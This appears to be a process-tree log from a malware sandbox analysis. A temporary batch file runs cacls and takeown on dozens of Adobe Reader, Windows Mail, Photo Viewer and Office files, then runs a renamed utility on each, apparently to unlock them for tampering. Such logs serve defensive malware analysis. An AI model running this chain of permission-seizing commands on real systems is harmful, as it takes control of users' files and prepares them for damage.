-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "CourierStd-Bold.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "CourierStd-Bold.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "MyriadPro-It.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "MyriadPro-It.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "can.hyp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "can.hyp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "usa37.hyp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "usa37.hyp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT""2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ICELAND.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ICELAND.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT""2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT" /E /G Admin:F /C3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "CP1254.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "CP1254.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Mail\de-DE\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\de-DE\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\de-DE\WinMail.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Mail\ja-JP\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\ja-JP\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\ja-JP\WinMail.exe.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\de-DE\MSPVWCTL.DLL.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\de-DE\MSPVWCTL.DLL.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\de-DE\MSPVWCTL.DLL.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\es-ES\JNTFiltr.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\es-ES\JNTFiltr.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\es-ES\JNTFiltr.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "JNTFiltr.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "JNTFiltr.dll.mui" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\fr-FR\Journal.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\fr-FR\Journal.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\fr-FR\Journal.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Journal.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Journal.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\it-IT\PDIALOG.exe.mui""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\it-IT\PDIALOG.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\it-IT\PDIALOG.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PDIALOG.exe.mui" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PDIALOG.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\Templates\blank.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\blank.jtp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\blank.jtp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "blank.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "blank.jtp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Journal\Templates\To_Do_List.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\To_Do_List.jtp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\To_Do_List.jtp"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "To_Do_List.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "To_Do_List.jtp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Mail\it-IT\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\it-IT\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\it-IT\WinMail.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "LogTransport2.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "LogTransport2.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "device.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "device.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Users\All Users\Microsoft\OfficeSoftwareProtectionPlatform\tokens.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\OfficeSoftwareProtectionPlatform\tokens.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\OfficeSoftwareProtectionPlatform\tokens.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "tokens.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "tokens.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "bl.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "bl.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "forms_super.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "forms_super.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "review_browser.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "review_browser.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "tl.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "tl.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "Identity-V" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "Identity-V" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c VjYf8Dv0.exe -accepteula "MyriadPro-Bold.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula "MyriadPro-Bold.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\VjYf8Dv0.exeVjYf8Dv0.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\hJhxPvi0.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe""2⤵
-
